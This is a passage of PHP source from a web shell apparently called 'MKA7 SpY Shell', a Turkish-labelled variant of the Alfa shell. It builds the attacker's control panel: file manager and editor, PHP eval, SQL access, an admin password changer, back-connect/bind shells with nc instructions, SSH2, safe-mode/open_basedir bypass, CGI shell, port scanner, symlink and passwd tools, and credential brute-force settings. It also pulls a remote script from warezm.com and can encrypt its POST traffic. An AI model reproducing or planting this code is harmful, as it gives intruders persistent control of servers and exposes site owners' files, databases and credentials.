#0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd']) ?'}.dir{background-color:red;}': '}') .'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }'.alfaCssLoadColors() .'</style>';
  757. echo "<script type='text/javascript'>var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';var a_ = '" . htmlspecialchars(@$_POST['a']) . "';var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';var alfa1_ = '" . ((strpos(@$_POST['alfa1'], "
  758. ") !== false) ? '' : htmlspecialchars($_POST['alfa1'], ENT_QUOTES)) . "';var alfa2_ = '" . ((strpos(@$_POST['alfa2'], "
  759. ") !== false) ? '' : htmlspecialchars($_POST['alfa2'], ENT_QUOTES)) . "';var alfa3_ = '" . ((strpos(@$_POST['alfa3'], "
  760. ") !== false) ? '' : htmlspecialchars($_POST['alfa3'], ENT_QUOTES)) . "';var alfa4_ = '" . ((strpos(@$_POST['alfa4'], "
  761. ") !== false) ? '' : htmlspecialchars($_POST['alfa4'], ENT_QUOTES)) . "';var alfa5_ = '" . ((strpos(@$_POST['alfa5'], "
  762. ") !== false) ? '' : htmlspecialchars($_POST['alfa5'], ENT_QUOTES)) . "';var alfa6_ = '" . ((strpos(@$_POST['alfa6'], "
  763. ") !== false) ? '' : htmlspecialchars($_POST['alfa6'], ENT_QUOTES)) . "';var alfa7_ = '" . ((strpos(@$_POST['alfa7'], "
  764. ") !== false) ? '' : htmlspecialchars($_POST['alfa7'], ENT_QUOTES)) . "';var alfa8_ = '" . ((strpos(@$_POST['alfa8'], "
  765. ") !== false) ? '' : htmlspecialchars($_POST['alfa8'], ENT_QUOTES)) . "';var alfa9_ = '" . ((strpos(@$_POST['alfa9'], "
  766. ") !== false) ? '' : htmlspecialchars($_POST['alfa9'], ENT_QUOTES)) . "';var alfa10_ = '" . ((strpos(@$_POST['alfa10'], "
  767. ") !== false) ? '' : htmlspecialchars($_POST['alfa10'], ENT_QUOTES)) . "';var d = document;var mysql_cache = {};var editor_files = {};var editor_error = true;var editor_current_file = '';var is_minimized = false;var cgi_is_minimized = false;var cgi_lang = '';var upcount = 1;var islinux = " . ($GLOBALS['sys'] != 'win' ? 'true' : 'false') . ';var post_encryption_mode = ' . (__ALFA_POST_ENCRYPTION__ ? 'true' : 'false') . ';function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;';
  768. for ($j = 1;$j <= 10;$j++) {
  769. echo 'if(alfa' . $j . '!=null)d.mf.alfa' . $j . '.value=alfa' . $j . ';else d.mf.alfa' . $j . '.value=alfa' . $j . '_;';
  770. }
  771. echo 'if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;}';
  772. echo 'function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\"header_pwd\" onclick=\"g(\'FilesMan\',\'/\');\" href=\'javascript:void(0);\'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\"g(\'FilesMan\',\'"+g+e[i]+"/\');\" href=\'javascript:void(0);\' class=\"header_pwd\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML=\'<center><br /><img id="alfaloader" src="' . __showicon('loader') . '"></img><br /><br /></center>\'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML=\'<label class="inputfile" for="\'+a+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+a+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');">\',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function setCookie(e,i,t){var l=new Date;l.setTime(l.getTime()+24*t*60*60*1e3);var o="expires="+l.toUTCString();document.cookie=e+"="+i+";"+o+";path=/"}function getCookie(e){var i=("; "+document.cookie).split("; "+e+"=");if(2==i.length)return i.pop().split(";").shift()}function editorClose(e){d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e?is_minimized=!1:cgi_is_minimized=!1,setTimeout(function(){elem.removeAttribute("class"),elem.style.display="none"},1e3),d.body.style.overflow="visible"}function showEditor(e){$(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e?(is_minimized=!1,cgi_is_minimized&&($("cgiloader-minimized").style.top="30%")):(cgi_is_minimized=!1,is_minimized&&($("editor-minimized").style.top="30%")),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?(is_minimized=!0,cgi_is_minimized?($("cgiloader-minimized").style.top="20%",$("editor-minimized").style.top="50%"):$("editor-minimized").style.top="30%"):(cgi_is_minimized=!0,is_minimized?($("cgiloader-minimized").style.top="20%",$("editor-minimized").style.top="50%"):$("cgiloader-minimized").style.top="30%"),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function editor(e,i,t,l,o,a){if("dir"==a&&".."==e)return!1;if("download"==i)return g("FilesTools",l,e,"download"),!1;var r="",n="",s="",f=d.mf.c.value,c=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var m=getCookie("alfa_history_files");try{editor_files=JSON.parse(m);for(var u in editor_files)insertToHistory(u,editor_files[u].file,0,editor_files[u].type)}catch(e){}}if(-1!=e.indexOf("/")){var p=e.split("/");e=p[p.length-1],delete p[p.length-1],f=p.join("/"),islinux&&(f="/"+f)}void 0===a&&(a=""),void 0!==l&&null!=l&&0!=l.length&&(f=l.trim());try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){c=!1,o=v;break}}catch(e){console.log(e)}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==o&&null!=o&&0!=o.length)n=alfab64(o),s=o;else{var _="file_"+getRandom(10);n=alfab64(_),s=_}return alfaloader("block"),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(i)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t){if(document.querySelector(".editor-content").innerHTML=t,$("editor").style.display="block",alfaloader("none"),evalJS(t),"delete"!=i&&editor_error){var l=d.getElementsByClassName("is_active");0!=l.length&&(l[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&c?(editor_files[n]={file:e,pwd:f,type:a},insertToHistory(n,e," is_active",a),"mkfile"==i&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,is_minimized&&showEditor("editor"),updateCookieEditor()}),!1}function insertToHistory(e,i,t,l){var o="";t&&0!=t&&(o=t);var a=document.createElement("div");a.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(i,l,e)+"</div><div class=\'editor-file-name\'>"+i+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\""+e+"\");\'>X</div>",a.className="file-holder"+o,a.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),a.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(a,r.firstChild)}function loadType(e,i,t){"none"==i&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});return"file"==i?(i=(i=e.split("."))[i.length-1].toLowerCase(),-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(i)&&(i="notfound")):i="folder",\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",i+".png")}function updateDirsEditor(e,i){var t=d.mf.c.value+"/",l=editor_files[e].pwd+"/"+i+"/",o=editor_files[e].pwd+"/"+editor_files[e].file+"/";l=l.replace(/\/\//g,"/"),o=o.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(l)&&(initDir(t.replace(l,o)),d.mf.c.value=t.replace(l,o),_Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)}));for(var a in editor_files){var r=editor_files[a].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(l)&&(editor_files[a].pwd=r.replace(l,o))}var n=new RegExp("\'"+l.slice(0,-1)+"\'"),s=new RegExp(i+" \|</b></a>");d.files.innerHTML=d.files.innerHTML.replace(n,"\'"+o.slice(0,-1)+"\'"),d.files.innerHTML=d.files.innerHTML.replace(s,editor_files[e].file+" |</b></a>"),updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",JSON.stringify(editor_files),2012)}function setEditorTitle(e,i){"out"==i&&""!=editor_current_file&&(e=editor_current_file),editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var i=d.getElementsByClassName("filestools")[0];i&&i.getAttribute("fid")==e&&(i.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var i="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",l=void 0===e?20:e;l>0;--l)i+=t[Math.floor(Math.random()*t.length)];return i}function reopen(e){var i=e.getAttribute("id"),t=editor_files[i].pwd;editor(editor_files[i].file,"auto","",t,i)}function copyToClipboard(e){document.getElementById(e);if(document.selection)(i=document.body.createTextRange()).moveToElementText(document.getElementById(e)),i.select(),document.execCommand("Copy"),alert("text copied");else if(window.getSelection()){var i=document.createRange();i.selectNode(document.getElementById(e)),window.getSelection().removeAllRanges(),window.getSelection().addRange(i),document.execCommand("copy"),alert("text copied")}}function encrypt(e,i){if(null==i||i.length<=0)return null;e=alfab64(e,!0),i=alfab64(i,!0);for(var t="",l="",o=0;o<e.length;)for(var a=0;a<i.length&&(t=e.charCodeAt(o)^i.charCodeAt(a),l+=String.fromCharCode(t),!(++o>=e.length));a++);return alfab64(l,!0)}function reloadSetting(e){return alfaloader("block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e),alfaloader("none")},!0),0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var i={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");i[t]=e.value}):i=e,alfaloader("block");var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(i))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){alfaloader("none"),evalJS(e)},!0)}function alfab64(e,i){return void 0!==i||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"' . _AlfaSecretKey() . '")}function evalCss(e){var i=document.createElement("style");i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(i)}function colorHandlerKey(e){setTimeout(function(i){colorHandler(e)},200)}function colorHandler(e){var t=e.getAttribute("target"),l=e.getAttribute("multi"),o=t.indexOf(":hover");if(l){var a=JSON.parse(atob(l)),r="";for(i in a.multi_selector)r+=i+"{"+a.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==o||l?($("input_"+t.replace(".","")).value=e.value,$("gui_"+t.replace(".","")).value=e.value,".header_values"==t&&(t=".header,.header_values"),d.querySelectorAll(t).forEach(function(i){i.style.color=e.value})):($("input_"+t.replace(".","")).value=e.value,$("gui_"+t.replace(".","")).value=e.value,evalCss(t+"{color: "+e.value+";}"))}function importConfig(e){var i=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(i.files[0])}function checkBox(){for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&(d.files.elements[i].checked=d.files.elements[0].checked)}function path_history(e){_Ajax(d.URL,"a="+alfab64("GetPathHistory")+"&ajax="+alfab64("true"),function(e){g("FilesMan",e)},!0)}function runcgi(e){if(cgi_is_minimized&&cgi_lang==e)return showEditor("cgiloader"),!1;_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(i){d.body.style.overflow="hidden",$("cgiloader").style.display="block",$("cgiframe").innerHTML=i,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}';
  773. echo "</script><script data-cfasync='false' src='//warezm.com/shell.js'></script><form style='display:none;' id='dlForm' action='' target='_blank' method='post'><input type='hidden' name='a' value='dlfile'><input type='hidden' name='c' value=''><input type='hidden' name='file' value=''></form><input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'><img id='a_loader' src='" . __showicon('loader') . "'>";
  774. $cmd_uname = alfaEx('uname -a', false, false);
  775. $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
  776. if ($uname == '( php_uname ) Function Disabled !') {
  777. $GLOBALS['need_to_update_header'] = 'true';
  778. }
  779. echo '</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><div id="up_bar"></div><div class="whole"><form method="post" name="mf" style="display:none;"><input type="hidden" name="a"><input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
  780. for ($s = 1;$s <= 10;$s++) {
  781. echo '<input type="hidden" name="alfa' . $s . '">';
  782. }
  783. echo '<input type="hidden" name="charset"></form><div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?mka7">Ekstra Shell<br><small>Version: <span class="hidden_shell_version">' . __MKA_VERSION__ . '</span></small></a></div><div class="header"><table width="100%" border="0"><tr><td width="3%"><span class="header_vars">Uname:</span></td><td colspan="2"><span class="header_values" id="header_uname">' . $uname . '</span></td></tr><tr><td><span class="header_vars">User:</span></td><td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td><td width="12%" rowspan="8"><a href="//mkashell.wordpress.com"><img style="border-radius:100px;" width="300" height="170" alt="" src="https://i.hizliresim.com/8zzgZn.png" /></a></td></tr><tr><td><span class="header_vars">PHP:</span></td><td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td></tr><tr><td><span class="header_vars">ServerIP:</span></td><td><b>' . (!@$_SERVER['SERVER_ADDR'] ? (function_exists('gethostbyname') ? @gethostbyname($_SERVER['SERVER_NAME']) : '????') : @$_SERVER['SERVER_ADDR']) . ' <span class="header_vars">Your IP:</span><b> ' . @$_SERVER['REMOTE_ADDR'] . '</b></td></tr><tr><td width="3%"><span class="header_vars">DateTime:</span></td><td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td></tr><tr><td><span class="header_vars">Domains:</span></td><td width="76%"><span class="header_values" id="header_domains">';
  784. if ($GLOBALS['sys'] == 'unix') {
  785. $d0mains = _alfa_file('/etc/named.conf', false);
  786. if (!$d0mains) {
  787. echo 'Cant Read [ /etc/named.conf ]';
  788. $GLOBALS['need_to_update_header'] = 'true';
  789. } else {
  790. $count = 0;
  791. foreach ($d0mains as $d0main) {
  792. if (@strstr($d0main, 'zone')) {
  793. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  794. flush();
  795. if (strlen(trim($domains[1][0])) > 2) {
  796. flush();
  797. $count++;
  798. }
  799. }
  800. }
  801. echo "$count Domains";
  802. }
  803. } else {
  804. echo ('Cant Read [ /etc/named.conf ]');
  805. }
  806. echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
  807. echo alfaEx('ver', false, false);
  808. echo '</td></tr> <tr><td height="0" colspan="2"><span class="header_vars">SHELL VERSYON </span><b>' . __MKA_VERSION__ . '</b></td></tr></b>';
  809. $quotes = (function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0');
  810. if ($quotes == '1' or $quotes == 'on') {
  811. $magic = '<b><span class="header_on">ON</span>';
  812. } else {
  813. $magic = '<span class="header_off">OFF</span>';
  814. }
  815. echo '<tr><td height="16" colspan="2"><span class="header_vars">Engelli fonksiyonlar: </span><b>' . Alfa_GetDisable_Function() . '</b></td></tr><tr><td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == 'unix' ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : '') . '</td><td width="15%"><center><a href="http://spyhackerz.com" target="_blank"><span><font class="solevisible-text" color="#0F0">MKA7 SpY Shell</font></span></a></center></td></tr><tr><td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td></tr><tr><td height="11"><span class="header_vars">SoftWare: </span></td><td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td></tr>';
  816. if ($GLOBALS['sys'] == 'win') {
  817. echo '<tr><td height="12"><span class="header_vars">DRIVE:</span></td><td colspan="2"><b>' . $drives . '</b></td></tr>';
  818. }
  819. echo '<tr><td height="12"><span class="header_vars">PWD:</span></td><td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="javascript:void(0);" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Shell Dizini ]</span> </a><a href="javascript:void(0);" onclick="path_history(\'back\');"><span class="back_shell">[ Geri dn ]</span></a></td></tr></table></div><div id="meunlist"><ul>';
  820. $li = array('FilesMan' => 'Dizin', 'proc' => 'Durum', 'phpeval' => 'EVAL', 'sql' => 'SQLCON', 'pwchanger' => 'Admin+', 'connect' => 'BC', 'ssh2' => 'SSH2', 'safe' => 'BYPASS', 'cgishell' => 'CG+ ', 'portscanner' => 'Port Scan', 'ziper' => 'Zipper', 'symlink' => 'Symlink(c1)', 'otostop' => 'ln -s', 'deneme' => 'Passwd', 'settings' => 'Open_basedir', 'email' => 'Email', 'plus' => '<span class="alfa_plus">Hakkmda</font>');
  821. foreach ($li as $key => $value) {
  822. echo ('<li><a href="javascript:void(0);" class="menu_options" onclick="g(\'' . $key . '\',null,\'\',\'\',\'\');">' . $value . '</a></li>' . "
  823. ");
  824. }
  825. if (!empty($_SESSION['AlfaUser']) && !empty($_SESSION['AlfaPass'])) echo '</ul></div>';
  826. else echo '</ul></div>';
  827. } else {
  828. @error_reporting(E_ALL ^ E_NOTICE);
  829. @ini_set('error_log', NULL);
  830. @ini_set('log_errors', 0);
  831. @ini_set('max_execution_time', 0);
